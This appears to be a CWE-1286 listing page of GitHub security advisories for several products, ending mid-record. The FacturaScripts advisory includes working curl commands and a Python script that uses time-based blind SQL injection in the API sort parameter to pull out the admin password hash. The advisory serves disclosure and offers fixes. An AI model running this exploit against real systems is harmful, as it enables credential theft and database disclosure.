CWE-1286
AllowedImproper Validation of Syntactic Correctness of Input
Abstraction: Base · Status: Incomplete
The product receives input that is expected to be well-formed - i.e., to comply with a certain syntax - but it does not validate or incorrectly validates that the input complies with the syntax.
165 vulnerabilities reference this CWE, most recent first.
GHSA-C25Q-MQX5-M6V8
Vulnerability from github – Published: 2026-04-11 00:31 – Updated: 2026-04-13 15:31Net::CIDR::Lite versions before 0.23 for Perl does not validate IPv6 group count, which may allow IP ACL bypass.
_pack_ipv6() does not check that uncompressed IPv6 addresses (without ::) have exactly 8 hex groups. Inputs like "abcd", "1:2:3", or "1:2:3:4:5:6:7" are accepted and produce packed values of wrong length (3, 7, or 15 bytes instead of 17).
The packed values are used internally for mask and comparison operations. find() and bin_find() use Perl string comparison (lt/gt) on these values, and comparing strings of different lengths gives wrong results. This can cause find() to incorrectly report an address as inside or outside a range.
Example:
my $cidr = Net::CIDR::Lite->new("::/8"); $cidr->find("1:2:3"); # invalid input, incorrectly returns true
This is the same class of input validation issue as CVE-2021-47154 (IPv4 leading zeros) previously fixed in this module.
See also CVE-2026-40199, a related issue in the same function affecting IPv4 mapped IPv6 addresses.
{
"affected": [],
"aliases": [
"CVE-2026-40198"
],
"database_specific": {
"cwe_ids": [
"CWE-1286"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-04-10T22:16:21Z",
"severity": "HIGH"
},
"details": "Net::CIDR::Lite versions before 0.23 for Perl does not validate IPv6 group count, which may allow IP ACL bypass.\n\n_pack_ipv6() does not check that uncompressed IPv6 addresses (without ::) have exactly 8 hex groups. Inputs like \"abcd\", \"1:2:3\", or \"1:2:3:4:5:6:7\" are accepted and produce packed values of wrong length (3, 7, or 15 bytes instead of 17).\n\nThe packed values are used internally for mask and comparison operations. find() and bin_find() use Perl string comparison (lt/gt) on these values, and comparing strings of different lengths gives wrong results. This can cause find() to incorrectly report an address as inside or outside a range.\n\nExample:\n\n my $cidr = Net::CIDR::Lite-\u003enew(\"::/8\");\n $cidr-\u003efind(\"1:2:3\"); # invalid input, incorrectly returns true\n\nThis is the same class of input validation issue as CVE-2021-47154 (IPv4 leading zeros) previously fixed in this module.\n\nSee also CVE-2026-40199, a related issue in the same function affecting IPv4 mapped IPv6 addresses.",
"id": "GHSA-c25q-mqx5-m6v8",
"modified": "2026-04-13T15:31:36Z",
"published": "2026-04-11T00:31:19Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-40198"
},
{
"type": "WEB",
"url": "https://github.com/stigtsp/Net-CIDR-Lite/commit/25d65f85dbe4885959a10471725ec9d250a589c3.patch"
},
{
"type": "WEB",
"url": "https://metacpan.org/release/STIGTSP/Net-CIDR-Lite-0.23/changes"
},
{
"type": "WEB",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-40199"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-C3P2-XW2J-QRF4
Vulnerability from github – Published: 2025-03-03 03:31 – Updated: 2025-03-04 18:33In Modem, there is a possible memory corruption due to incorrect error handling. This could lead to remote denial of service, if a UE has connected to a rogue base station controlled by the attacker, with no additional execution privileges needed. User interaction is not needed for exploitation. Patch ID: MOLY01525673; Issue ID: MSV-2747.
{
"affected": [],
"aliases": [
"CVE-2025-20644"
],
"database_specific": {
"cwe_ids": [
"CWE-1286"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-03-03T03:15:09Z",
"severity": "HIGH"
},
"details": "In Modem, there is a possible memory corruption due to incorrect error handling. This could lead to remote denial of service, if a UE has connected to a rogue base station controlled by the attacker, with no additional execution privileges needed. User interaction is not needed for exploitation. Patch ID: MOLY01525673; Issue ID: MSV-2747.",
"id": "GHSA-c3p2-xw2j-qrf4",
"modified": "2025-03-04T18:33:27Z",
"published": "2025-03-03T03:31:19Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-20644"
},
{
"type": "WEB",
"url": "https://corp.mediatek.com/product-security-bulletin/March-2025"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-CJFX-QHWM-HF99
Vulnerability from github – Published: 2026-02-03 18:14 – Updated: 2026-02-04 21:57Summary
FacturaScripts contains a critical SQL Injection vulnerability in the REST API that allows authenticated API users to execute arbitrary SQL queries through the sort parameter. The vulnerability exists in the ModelClass::getOrderBy() method where user-supplied sorting parameters are directly concatenated into the SQL ORDER BY clause without validation or sanitization. This affects all API endpoints that support sorting functionality.
Details
The FacturaScripts REST API exposes database models through various endpoints (e.g., /api/3/users, /api/3/attachedfiles, /api/3/customers). These endpoints support a sort parameter that allows clients to specify result ordering. The API processes this parameter through the ModelClass::all() method, which calls the vulnerable getOrderBy() function.
Vulnerable Code Locations
1. Legacy Models:
File: /Core/Model/Base/ModelClass.php
Method: getOrderBy()
Direct concatenation of keys and values from the $order array.
2. Modern Models (DbQuery):
File: /Core/DbQuery.php
Method: orderBy()
Lines: 255-259
// If it contains parentheses, it is not escaped (VULNERABILITY!)
if (strpos($field, '(') !== false && strpos($field, ')') !== false) {
$this->orderBy[] = $field . ' ' . $order;
return $this;
}
This check is intended to allow SQL functions but fails to validate them, allowing arbitrary SQL Injection.
Proof of Concept (PoC)
Prerequisites
- Valid API authentication token (X-Auth-Token header)
- Access to FacturaScripts API endpoints
Step-by-Step Verification (CLI)
Since FacturaScripts requires an existing API key, we first log in via the web interface to find a valid key.
1. Login and Retrieve a valid API key: We handle the CSRF token and session cookies to access the settings and retrieve the first available key.
# Login
TOKEN=$(curl -s -L -c cookies.txt "http://localhost:8091/login" | grep -Po 'name="multireqtoken" value="\K[^"]+' | head -n 1)
curl -s -b cookies.txt -c cookies.txt -X POST "http://localhost:8091/login" \
-d "fsNick=admin" -d "fsPassword=admin" -d "action=login" -d "multireqtoken=$TOKEN"
# Find the ID of the first existing API key
API_ID=$(curl -s -b cookies.txt "http://localhost:8091/EditSettings?activetab=ListApiKey" | grep -Po 'EditApiKey\?code=\K\d+' | head -n 1)
# Extract the API key string using its ID
API_KEY=$(curl -s -b cookies.txt "http://localhost:8091/EditApiKey?code=$API_ID" | grep -Po 'name="apikey" value="\K[^"]+' | head -n 1)
echo "Using API Key: $API_KEY"
2. Verify Time-Based SQL Injection:
Use the extracted API_KEY in the X-Auth-Token header.
# Normal request (baseline)
time curl -g -s -H "X-Auth-Token: $API_KEY" "http://localhost:8091/api/3/users?limit=1"
# Injected request (SLEEP payload in the sort key)
time curl -g -s -H "X-Auth-Token: $API_KEY" \
"http://localhost:8091/api/3/users?limit=1&sort[nick,(SELECT(SLEEP(3)))]=ASC"
Expected Result: The injected request will take significantly longer (delay depends on database records), confirming the SQL Injection.
Automated Exploitation Tool
This script automatically logs into FacturaScripts, retrieves a valid API key, and performs case-sensitive data extraction using time-based blind SQL Injection.
import requests
import time
import string
import re
# Configuration
BASE_URL = "http://localhost:8091"
USERNAME = "admin"
PASSWORD = "admin"
API_ENDPOINT = "/api/3/users"
session = requests.Session()
def get_token(url):
"""Extract multireqtoken from any page"""
res = session.get(url)
match = re.search(r'name="multireqtoken" value="([^"]+)"', res.text)
return match.group(1) if match else None
def get_api_key():
"""Logs in and retrieves the first active API key dynamically"""
print(f"[*] Logging in as {USERNAME}...")
# 1. Login flow
token = get_token(f"{BASE_URL}/login")
if not token:
print("[!] Failed to get initial CSRF token")
return None
login_data = {
"fsNick": USERNAME,
"fsPassword": PASSWORD,
"action": "login",
"multireqtoken": token
}
res = session.post(f"{BASE_URL}/login", data=login_data)
if "Dashboard" not in res.text:
print("[!] Login failed!")
return None
print("[+] Login successful.")
# 2. Retrieve API Key ID from settings
print("[*] Accessing API settings...")
res = session.get(f"{BASE_URL}/EditSettings?activetab=ListApiKey")
id_match = re.search(r'EditApiKey\?code=(\d+)', res.text)
if not id_match:
print("[!] No API keys found in system!")
return None
api_id = id_match.group(1)
# 3. Get the actual API key string
print(f"[*] Retrieving API key for ID {api_id}...")
res = session.get(f"{BASE_URL}/EditApiKey?code={api_id}")
key_match = re.search(r'name="apikey" value="([^"]+)"', res.text)
if not key_match:
print("[!] Failed to extract API key from page!")
return None
return key_match.group(1)
def time_based_sqli(api_key, payload):
"""Execute time-based SQL injection and measure response time"""
headers = {"X-Auth-Token": api_key}
params = {
'limit': 1,
f'sort[{payload}]': 'ASC'
}
start = time.time()
try:
requests.get(f"{BASE_URL}{API_ENDPOINT}", headers=headers, params=params, timeout=10)
except requests.exceptions.ReadTimeout:
return 10.0
except:
pass
return time.time() - start
def extract_data(api_key, query, length=60):
"""Extracts data char by char using time-based blind SQLi"""
extracted = ""
charset = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ$./"
print(f"[*] Starting extraction for query: {query}")
for i in range(1, length + 1):
found = False
for char in charset:
# Added BINARY to force case-sensitive comparison
payload = f"(SELECT IF(BINARY SUBSTRING(({query}),{i},1)='{char}',SLEEP(2),nick))"
elapsed = time_based_sqli(api_key, payload)
if elapsed >= 2.0:
extracted += char
print(f"[+] Found char at pos {i}: {char} -> {extracted}")
found = True
break
if not found:
break
return extracted
def main():
print("="*60)
print(" FacturaScripts Dynamic SQLi Exfiltration Tool")
print("="*60)
# 1. Get API Key dynamically
api_key = get_api_key()
if not api_key:
return
print(f"[+] Using API Key: {api_key}")
# 2. Verify vulnerability
print("[*] Verifying vulnerability...")
if time_based_sqli(api_key, "(SELECT SLEEP(2))") >= 2.0:
print("[+] System is VULNERABLE!")
else:
print("[-] System not vulnerable or API key invalid.")
return
# 3. Extract Admin Password Hash
admin_hash = extract_data(api_key, "SELECT password FROM users WHERE nick='admin'")
print(f"\n[!] FINAL ADMIN HASH: {admin_hash}")
if __name__ == "__main__":
main()
Impact
Data Confidentiality
- Complete database disclosure through blind SQL Injection techniques
- Extraction of sensitive data including:
- User credentials and API keys
- Customer PII (personal identifiable information)
- Financial records and transaction data
- Business intelligence and pricing information
- System configuration and secrets
Who is Impacted?
- Organizations using FacturaScripts API for integrations
- Mobile apps and third-party integrations using the API
- All users whose data is accessible via API
- Business partners with API access
Recommended Fix
Immediate Remediation
Option 1: Implement Strict Whitelist Validation (Recommended)
// File: Core/Model/Base/ModelClass.php
// Method: getOrderBy()
private static function getOrderBy(array $order): string
{
$result = '';
$coma = ' ORDER BY ';
// Get valid column names from model
$validColumns = array_keys(static::getModelFields());
foreach ($order as $key => $value) {
// Validate column name against whitelist
if (!in_array($key, $validColumns, true)) {
throw new \Exception('Invalid column name for sorting: ' . $key);
}
// Validate sort direction (must be ASC or DESC)
$value = strtoupper(trim($value));
if (!in_array($value, ['ASC', 'DESC'], true)) {
throw new \Exception('Invalid sort direction: ' . $value);
}
// Escape column name
$safeColumn = self::$dataBase->escapeColumn($key);
$result .= $coma . $safeColumn . ' ' . $value;
$coma = ', ';
}
return $result;
}
Option 2: Use Database Escaping Functions
private static function getOrderBy(array $order): string
{
$result = '';
$coma = ' ORDER BY ';
foreach ($order as $key => $value) {
// Escape identifiers and validate direction
$safeColumn = self::$dataBase->escapeColumn($key);
$safeDirection = in_array(strtoupper($value), ['ASC', 'DESC'])
? strtoupper($value)
: 'ASC';
$result .= $coma . $safeColumn . ' ' . $safeDirection;
$coma = ', ';
}
return $result;
}
Option 3: Use Query Builder Pattern
// Refactor to use prepared statements
public static function all(array $where = [], array $order = [], int $offset = 0, int $limit = 0): array
{
$query = self::table();
// Apply WHERE conditions
foreach ($where as $condition) {
$query->where($condition);
}
// Apply ORDER BY with validation
foreach ($order as $column => $direction) {
if (!array_key_exists($column, static::getModelFields())) {
continue; // Skip invalid columns
}
$query->orderBy($column, $direction);
}
return $query->offset($offset)->limit($limit)->get();
}
API Security Best Practices
// Add to API configuration
$config = [
'max_sort_fields' => 3, // Limit number of sort fields
'allowed_sort_fields' => ['id', 'date', 'name'], // Whitelist
'default_sort' => 'id ASC', // Safe default
];
Credits
Discovered by: Łukasz Rybak
{
"affected": [
{
"package": {
"ecosystem": "Packagist",
"name": "facturascripts/facturascripts"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2025.81"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-25513"
],
"database_specific": {
"cwe_ids": [
"CWE-1286",
"CWE-20",
"CWE-89",
"CWE-943"
],
"github_reviewed": true,
"github_reviewed_at": "2026-02-03T18:14:43Z",
"nvd_published_at": "2026-02-04T20:16:07Z",
"severity": "HIGH"
},
"details": "### Summary\n**FacturaScripts contains a critical SQL Injection vulnerability in the REST API** that allows authenticated API users to execute arbitrary SQL queries through the `sort` parameter. The vulnerability exists in the `ModelClass::getOrderBy()` method where user-supplied sorting parameters are directly concatenated into the SQL ORDER BY clause without validation or sanitization. This affects **all API endpoints** that support sorting functionality.\n\n---\n\n### Details\n\nThe FacturaScripts REST API exposes database models through various endpoints (e.g., `/api/3/users`, `/api/3/attachedfiles`, `/api/3/customers`). These endpoints support a `sort` parameter that allows clients to specify result ordering. The API processes this parameter through the `ModelClass::all()` method, which calls the vulnerable `getOrderBy()` function.\n\n#### Vulnerable Code Locations\n\n**1. Legacy Models:**\n**File:** `/Core/Model/Base/ModelClass.php`\n**Method:** `getOrderBy()`\nDirect concatenation of keys and values from the `$order` array.\n\n**2. Modern Models (DbQuery):**\n**File:** `/Core/DbQuery.php`\n**Method:** `orderBy()`\n**Lines:** 255-259\n```php\n // If it contains parentheses, it is not escaped (VULNERABILITY!)\n if (strpos($field, \u0027(\u0027) !== false \u0026\u0026 strpos($field, \u0027)\u0027) !== false) {\n $this-\u003eorderBy[] = $field . \u0027 \u0027 . $order;\n return $this;\n }\n```\nThis check is intended to allow SQL functions but fails to validate them, allowing arbitrary SQL Injection.\n\n---\n\n### Proof of Concept (PoC)\n\n#### Prerequisites\n- Valid API authentication token (X-Auth-Token header)\n- Access to FacturaScripts API endpoints\n\n#### Step-by-Step Verification (CLI)\n\nSince FacturaScripts requires an existing API key, we first log in via the web interface to find a valid key.\n\n**1. Login and Retrieve a valid API key:**\nWe handle the CSRF token and session cookies to access the settings and retrieve the first available key.\n```bash\n# Login\nTOKEN=$(curl -s -L -c cookies.txt \"http://localhost:8091/login\" | grep -Po \u0027name=\"multireqtoken\" value=\"\\K[^\"]+\u0027 | head -n 1)\ncurl -s -b cookies.txt -c cookies.txt -X POST \"http://localhost:8091/login\" \\\n -d \"fsNick=admin\" -d \"fsPassword=admin\" -d \"action=login\" -d \"multireqtoken=$TOKEN\"\n\n# Find the ID of the first existing API key\nAPI_ID=$(curl -s -b cookies.txt \"http://localhost:8091/EditSettings?activetab=ListApiKey\" | grep -Po \u0027EditApiKey\\?code=\\K\\d+\u0027 | head -n 1)\n\n# Extract the API key string using its ID\nAPI_KEY=$(curl -s -b cookies.txt \"http://localhost:8091/EditApiKey?code=$API_ID\" | grep -Po \u0027name=\"apikey\" value=\"\\K[^\"]+\u0027 | head -n 1)\necho \"Using API Key: $API_KEY\"\n```\n\n**2. Verify Time-Based SQL Injection:**\nUse the extracted `API_KEY` in the `X-Auth-Token` header.\n```bash\n# Normal request (baseline)\ntime curl -g -s -H \"X-Auth-Token: $API_KEY\" \"http://localhost:8091/api/3/users?limit=1\"\n\n# Injected request (SLEEP payload in the sort key)\ntime curl -g -s -H \"X-Auth-Token: $API_KEY\" \\\n \"http://localhost:8091/api/3/users?limit=1\u0026sort[nick,(SELECT(SLEEP(3)))]=ASC\"\n```\n\n**Expected Result:** The injected request will take significantly longer (delay depends on database records), confirming the SQL Injection.\n\n---\n\n#### Automated Exploitation Tool\n\nThis script automatically logs into FacturaScripts, retrieves a valid API key, and performs case-sensitive data extraction using time-based blind SQL Injection.\n\n```python\nimport requests\nimport time\nimport string\nimport re\n\n# Configuration\nBASE_URL = \"http://localhost:8091\"\nUSERNAME = \"admin\"\nPASSWORD = \"admin\"\nAPI_ENDPOINT = \"/api/3/users\"\n\nsession = requests.Session()\n\ndef get_token(url):\n \"\"\"Extract multireqtoken from any page\"\"\"\n res = session.get(url)\n match = re.search(r\u0027name=\"multireqtoken\" value=\"([^\"]+)\"\u0027, res.text)\n return match.group(1) if match else None\n\ndef get_api_key():\n \"\"\"Logs in and retrieves the first active API key dynamically\"\"\"\n print(f\"[*] Logging in as {USERNAME}...\")\n \n # 1. Login flow\n token = get_token(f\"{BASE_URL}/login\")\n if not token:\n print(\"[!] Failed to get initial CSRF token\")\n return None\n \n login_data = {\n \"fsNick\": USERNAME,\n \"fsPassword\": PASSWORD,\n \"action\": \"login\",\n \"multireqtoken\": token\n }\n res = session.post(f\"{BASE_URL}/login\", data=login_data)\n if \"Dashboard\" not in res.text:\n print(\"[!] Login failed!\")\n return None\n print(\"[+] Login successful.\")\n\n # 2. Retrieve API Key ID from settings\n print(\"[*] Accessing API settings...\")\n res = session.get(f\"{BASE_URL}/EditSettings?activetab=ListApiKey\")\n id_match = re.search(r\u0027EditApiKey\\?code=(\\d+)\u0027, res.text)\n if not id_match:\n print(\"[!] No API keys found in system!\")\n return None\n \n api_id = id_match.group(1)\n \n # 3. Get the actual API key string\n print(f\"[*] Retrieving API key for ID {api_id}...\")\n res = session.get(f\"{BASE_URL}/EditApiKey?code={api_id}\")\n key_match = re.search(r\u0027name=\"apikey\" value=\"([^\"]+)\"\u0027, res.text)\n if not key_match:\n print(\"[!] Failed to extract API key from page!\")\n return None\n \n return key_match.group(1)\n\ndef time_based_sqli(api_key, payload):\n \"\"\"Execute time-based SQL injection and measure response time\"\"\"\n headers = {\"X-Auth-Token\": api_key}\n params = {\n \u0027limit\u0027: 1,\n f\u0027sort[{payload}]\u0027: \u0027ASC\u0027\n }\n start = time.time()\n try:\n requests.get(f\"{BASE_URL}{API_ENDPOINT}\", headers=headers, params=params, timeout=10)\n except requests.exceptions.ReadTimeout:\n return 10.0\n except:\n pass\n return time.time() - start\n\ndef extract_data(api_key, query, length=60):\n \"\"\"Extracts data char by char using time-based blind SQLi\"\"\"\n extracted = \"\"\n charset = \"0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ$./\"\n \n print(f\"[*] Starting extraction for query: {query}\")\n for i in range(1, length + 1):\n found = False\n for char in charset:\n # Added BINARY to force case-sensitive comparison\n payload = f\"(SELECT IF(BINARY SUBSTRING(({query}),{i},1)=\u0027{char}\u0027,SLEEP(2),nick))\"\n elapsed = time_based_sqli(api_key, payload)\n \n if elapsed \u003e= 2.0:\n extracted += char\n print(f\"[+] Found char at pos {i}: {char} -\u003e {extracted}\")\n found = True\n break\n if not found:\n break\n return extracted\n\ndef main():\n print(\"=\"*60)\n print(\" FacturaScripts Dynamic SQLi Exfiltration Tool\")\n print(\"=\"*60)\n\n # 1. Get API Key dynamically\n api_key = get_api_key()\n if not api_key:\n return\n print(f\"[+] Using API Key: {api_key}\")\n\n # 2. Verify vulnerability\n print(\"[*] Verifying vulnerability...\")\n if time_based_sqli(api_key, \"(SELECT SLEEP(2))\") \u003e= 2.0:\n print(\"[+] System is VULNERABLE!\")\n else:\n print(\"[-] System not vulnerable or API key invalid.\")\n return\n\n # 3. Extract Admin Password Hash\n admin_hash = extract_data(api_key, \"SELECT password FROM users WHERE nick=\u0027admin\u0027\")\n print(f\"\\n[!] FINAL ADMIN HASH: {admin_hash}\")\n\nif __name__ == \"__main__\":\n main()\n```\n\u003cimg width=\"862\" height=\"1221\" alt=\"image\" src=\"https://github.com/user-attachments/assets/9bdf5342-a48f-47f3-a3aa-68e221624273\" /\u003e\n\n---\n\n### Impact\n\n#### Data Confidentiality\n- **Complete database disclosure** through blind SQL Injection techniques\n- Extraction of sensitive data including:\n - User credentials and API keys\n - Customer PII (personal identifiable information)\n - Financial records and transaction data\n - Business intelligence and pricing information\n - System configuration and secrets\n\n#### Who is Impacted?\n- **Organizations using FacturaScripts API** for integrations\n- **Mobile apps and third-party integrations** using the API\n- **All users whose data is accessible via API**\n- **Business partners with API access**\n\n---\n\n### Recommended Fix\n\n#### Immediate Remediation\n\n**Option 1: Implement Strict Whitelist Validation (Recommended)**\n\n```php\n// File: Core/Model/Base/ModelClass.php\n// Method: getOrderBy()\n\nprivate static function getOrderBy(array $order): string\n{\n $result = \u0027\u0027;\n $coma = \u0027 ORDER BY \u0027;\n\n // Get valid column names from model\n $validColumns = array_keys(static::getModelFields());\n\n foreach ($order as $key =\u003e $value) {\n // Validate column name against whitelist\n if (!in_array($key, $validColumns, true)) {\n throw new \\Exception(\u0027Invalid column name for sorting: \u0027 . $key);\n }\n\n // Validate sort direction (must be ASC or DESC)\n $value = strtoupper(trim($value));\n if (!in_array($value, [\u0027ASC\u0027, \u0027DESC\u0027], true)) {\n throw new \\Exception(\u0027Invalid sort direction: \u0027 . $value);\n }\n\n // Escape column name\n $safeColumn = self::$dataBase-\u003eescapeColumn($key);\n $result .= $coma . $safeColumn . \u0027 \u0027 . $value;\n $coma = \u0027, \u0027;\n }\n\n return $result;\n}\n```\n\n**Option 2: Use Database Escaping Functions**\n\n```php\nprivate static function getOrderBy(array $order): string\n{\n $result = \u0027\u0027;\n $coma = \u0027 ORDER BY \u0027;\n\n foreach ($order as $key =\u003e $value) {\n // Escape identifiers and validate direction\n $safeColumn = self::$dataBase-\u003eescapeColumn($key);\n $safeDirection = in_array(strtoupper($value), [\u0027ASC\u0027, \u0027DESC\u0027])\n ? strtoupper($value)\n : \u0027ASC\u0027;\n\n $result .= $coma . $safeColumn . \u0027 \u0027 . $safeDirection;\n $coma = \u0027, \u0027;\n }\n\n return $result;\n}\n```\n\n**Option 3: Use Query Builder Pattern**\n\n```php\n// Refactor to use prepared statements\npublic static function all(array $where = [], array $order = [], int $offset = 0, int $limit = 0): array\n{\n $query = self::table();\n\n // Apply WHERE conditions\n foreach ($where as $condition) {\n $query-\u003ewhere($condition);\n }\n\n // Apply ORDER BY with validation\n foreach ($order as $column =\u003e $direction) {\n if (!array_key_exists($column, static::getModelFields())) {\n continue; // Skip invalid columns\n }\n $query-\u003eorderBy($column, $direction);\n }\n\n return $query-\u003eoffset($offset)-\u003elimit($limit)-\u003eget();\n}\n```\n\n#### API Security Best Practices\n\n```php\n// Add to API configuration\n$config = [\n \u0027max_sort_fields\u0027 =\u003e 3, // Limit number of sort fields\n \u0027allowed_sort_fields\u0027 =\u003e [\u0027id\u0027, \u0027date\u0027, \u0027name\u0027], // Whitelist\n \u0027default_sort\u0027 =\u003e \u0027id ASC\u0027, // Safe default\n];\n```\n\n---\n\n### Credits\n\n**Discovered by:** \u0141ukasz Rybak",
"id": "GHSA-cjfx-qhwm-hf99",
"modified": "2026-02-04T21:57:11Z",
"published": "2026-02-03T18:14:43Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/NeoRazorX/facturascripts/security/advisories/GHSA-cjfx-qhwm-hf99"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-25513"
},
{
"type": "WEB",
"url": "https://github.com/NeoRazorX/facturascripts/commit/1b6cdfa9ee1bb3365ea4a4ad753452035a027605"
},
{
"type": "PACKAGE",
"url": "https://github.com/NeoRazorX/facturascripts"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:H/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "FacturaScripts has SQL Injection in API ORDER BY Clause"
}
GHSA-CPH5-5RVQ-2PRR
Vulnerability from github – Published: 2025-04-30 12:31 – Updated: 2025-04-30 12:31A vulnerability in the “Proxy” functionality of the web application of ctrlX OS allows a remote authenticated (lowprivileged) attacker to manipulate the “/etc/environment” file via a crafted HTTP request.
{
"affected": [],
"aliases": [
"CVE-2025-24346"
],
"database_specific": {
"cwe_ids": [
"CWE-1286"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-04-30T12:15:18Z",
"severity": "HIGH"
},
"details": "A vulnerability in the \u201cProxy\u201d functionality of the web application of ctrlX OS allows a remote authenticated (lowprivileged) attacker to manipulate the \u201c/etc/environment\u201d file via a crafted HTTP request.",
"id": "GHSA-cph5-5rvq-2prr",
"modified": "2025-04-30T12:31:24Z",
"published": "2025-04-30T12:31:24Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-24346"
},
{
"type": "WEB",
"url": "https://psirt.bosch.com/security-advisories/BOSCH-SA-640452.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-CWJV-W927-X7GR
Vulnerability from github – Published: 2026-05-29 18:31 – Updated: 2026-05-29 18:31XX-Net V5.16.6 contains a WebSocket frame parsing vulnerability in the WebSocket_receive_worker routine of simple_http_server.py that allows attackers to cause corrupted application data by sending unmasked WebSocket frames. The server unconditionally reads 4 bytes as a masking key regardless of whether the MASK bit is set in the frame header, causing the first 4 bytes of payload to be consumed as a mask key and the remaining payload to be incorrectly XOR-decoded, resulting in data corruption alongside missing RSV bit, opcode, and FIN fragmentation validations.
{
"affected": [],
"aliases": [
"CVE-2026-10099"
],
"database_specific": {
"cwe_ids": [
"CWE-1286"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-05-29T16:16:24Z",
"severity": "MODERATE"
},
"details": "XX-Net V5.16.6 contains a WebSocket frame parsing vulnerability in the WebSocket_receive_worker routine of simple_http_server.py that allows attackers to cause corrupted application data by sending unmasked WebSocket frames. The server unconditionally reads 4 bytes as a masking key regardless of whether the MASK bit is set in the frame header, causing the first 4 bytes of payload to be consumed as a mask key and the remaining payload to be incorrectly XOR-decoded, resulting in data corruption alongside missing RSV bit, opcode, and FIN fragmentation validations.",
"id": "GHSA-cwjv-w927-x7gr",
"modified": "2026-05-29T18:31:33Z",
"published": "2026-05-29T18:31:33Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-10099"
},
{
"type": "WEB",
"url": "https://github.com/XX-net/XX-Net/issues/14169"
},
{
"type": "WEB",
"url": "https://github.com/XX-net/XX-Net/pull/14170"
},
{
"type": "WEB",
"url": "https://github.com/XX-net/XX-Net/commit/a68b972a84ed6e52df9f30237cf47493b9231b53"
},
{
"type": "WEB",
"url": "https://www.vulncheck.com/advisories/xx-net-websocket-frame-parsing-data-corruption-via-simple-http-server-py"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-CWXW-98QJ-8QJX
Vulnerability from github – Published: 2026-06-19 14:37 – Updated: 2026-08-05 21:49Impact
CookieJar incorrectly accepts cookies with a dot-only Domain attribute, such as Domain=., Domain=.., Domain=..., and whitespace-padded variants such as Domain= .. In affected versions, SetCookie::matchesDomain() removes leading dots from the cookie domain, normalizing dot-only values to the empty string; SetCookie::validate() only rejected a strictly empty domain, so these cookies could be stored and the empty normalized domain was treated as matching any request host.
An attacker-controlled origin that an application requests with a shared cookie jar can therefore set a cookie that Guzzle later sends to unrelated hosts using the same jar. This may allow cookie injection or session fixation against downstream services, depending on how those services interpret the injected cookie. Applications are affected when they use Guzzle's cookie support, for example new Client(['cookies' => true]) or an explicit shared CookieJar, and reuse the same jar across attacker-controlled and trusted origins.
Applications that do not use Guzzle's cookie support, or that use separate cookie jars per origin or trust boundary, are not affected. This issue is distinct from public suffix list validation: dot-only domains contain no domain label and should not match unrelated hosts.
Patches
The issue is patched in 7.12.1 and later. Starting in that release, Guzzle rejects dot-only cookie Domain attributes and prevents an empty normalized cookie domain from matching any request host.
Workarounds
If you cannot upgrade immediately, do not reuse the same CookieJar instance across untrusted and trusted origins. Use separate cookie jars per origin or trust boundary, or disable cookie handling for requests to untrusted hosts.
Avoid using new Client(['cookies' => true]) for clients that may contact unrelated hosts with different trust levels, because that option creates one shared jar for the client.
{
"affected": [
{
"package": {
"ecosystem": "Packagist",
"name": "guzzlehttp/guzzle"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "7.12.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-55767"
],
"database_specific": {
"cwe_ids": [
"CWE-1286",
"CWE-346"
],
"github_reviewed": true,
"github_reviewed_at": "2026-06-19T14:37:29Z",
"nvd_published_at": "2026-06-23T16:17:03Z",
"severity": "MODERATE"
},
